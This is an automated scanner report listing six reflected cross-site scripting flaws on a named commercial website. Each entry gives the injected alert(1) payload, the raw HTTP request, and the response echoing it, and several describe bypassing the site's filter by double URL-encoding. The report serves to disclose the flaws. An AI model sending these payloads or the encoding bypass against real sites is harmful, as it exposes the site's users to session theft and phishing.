Report generated by XSS.CX at Sat Nov 20 12:43:21 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

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1. Cross-site scripting (reflected)

1.1. http://www.makeitwork.com/about/press-releases [name of an arbitrarily supplied request parameter]

1.2. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]

1.3. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]

1.4. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]

1.5. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]

1.6. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]



1. Cross-site scripting (reflected)
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.makeitwork.com/about/press-releases [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /about/press-releases

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4d65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3048996d15f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f4d65"><script>alert(1)</script>3048996d15f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /about/press-releases?f4d65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3048996d15f=1 HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Sat, 20 Nov 2010 17:20:01 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 41979

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<
...[SNIP]...
<link href="/about/press-releases?f4d65"><script>alert(1)</script>3048996d15f=1&amp;format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
...[SNIP]...

1.2. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /plugins/system/rokbox/

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 93329<img%20src%3da%20onerror%3dalert(1)>230708c6484 was submitted in the REST URL parameter 3. This input was echoed as 93329<img src=a onerror=alert(1)>230708c6484 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /plugins/system/rokbox93329<img%20src%3da%20onerror%3dalert(1)>230708c6484/ HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 62454

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
<h1 class="title">Rokbox93329<Img Src=A Onerror=Alert(1)>230708c6484 Services in System, PLUGINS:</h1>
...[SNIP]...

1.3. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /plugins/system/rokbox/

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d26ef%253c%252ftitle%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed4c62d3506a was submitted in the REST URL parameter 3. This input was echoed as d26ef</title><img src=a onerror=alert(1)>d4c62d3506a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /plugins/system/rokboxd26ef%253c%252ftitle%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed4c62d3506a/ HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 62636

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
<title>Rokboxd26ef</Title><Img Src=A Onerror=Alert(1)>D4c62d3506a System, PLUGINS. Make It Work guarantees you will be delighted!</title>
...[SNIP]...

1.4. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /plugins/system/rokbox/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 708b3"><img%20src%3da%20onerror%3dalert(1)>59fe09ce6a was submitted in the REST URL parameter 3. This input was echoed as 708b3"><img src=a onerror=alert(1)>59fe09ce6a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /plugins/system/rokbox708b3"><img%20src%3da%20onerror%3dalert(1)>59fe09ce6a/ HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 62683

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
<meta name="keywords" content="Make It Work provides the best Rokbox708b3"><Img Src=A Onerror=Alert(1)>59fe09ce6a services in System, PLUGINS. We guarantee you will be delighted! Call 877-625-3489." />
...[SNIP]...

1.5. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /plugins/system/rokbox/

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a42c5%253balert%25281%2529%252f%252fa87db967c5e was submitted in the REST URL parameter 3. This input was echoed as a42c5;alert(1)//a87db967c5e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /plugins/system/rokboxa42c5%253balert%25281%2529%252f%252fa87db967c5e/ HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 62664

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
/        
//        $("#embed").click(function(){
//            $(this).focus().select();
//            //clip.setText($(this).val());
//            return false;
//        });

       if('Rokboxa42c5;Alert(1)//A87db967c5e') {
           var pattern = /Rokboxa42c5;Alert(1)//A87db967c5e/i;
           $(".services_header").filter(function(){
               var string = $(this).text();
               var found = pattern.test(string);
               if(found) {
                   $("div[id^=m_], div[id^=s_]").css('display', 'none');
                   re
...[SNIP]...

1.6. http://www.makeitwork.com/plugins/system/rokbox/ [REST URL parameter 3]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.makeitwork.com
Path:   /plugins/system/rokbox/

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f614c%2527%253balert%25281%2529%252f%252fc73f4c1f2ed was submitted in the REST URL parameter 3. This input was echoed as f614c';alert(1)//c73f4c1f2ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /plugins/system/rokboxf614c%2527%253balert%25281%2529%252f%252fc73f4c1f2ed/ HTTP/1.1
Host: www.makeitwork.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=246358936.1290271612.1.1.utmgclid=CNTcksnsr6UCFRhg2godlBHrYA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; 8402d15662a4628733f3ad434ce06140=2na2t369v9umvdqdqv92diae06; __utma=246358936.1337497436.1290271612.1290271612.1290271612.1; __utmc=246358936; __utmb=246358936.1.10.1290271612;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 17:20:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 62493

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<he
...[SNIP]...
           'height'            : 650,
//            'scrolling'            : 'no'
//        });
//        
//        $("#embed").click(function(){
//            $(this).focus().select();
//            //clip.setText($(this).val());
//            return false;
//        });

       if('Rokboxf614c';Alert(1)//C73f4c1f2ed') {
           var pattern = /Rokboxf614c';Alert(1)//C73f4c1f2ed/i;
           $(".services_header").filter(function(){
               var string = $(this).text();
               var found = pattern.test(string);
               if(found) {
                   $("d
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 12:43:21 CST 2010.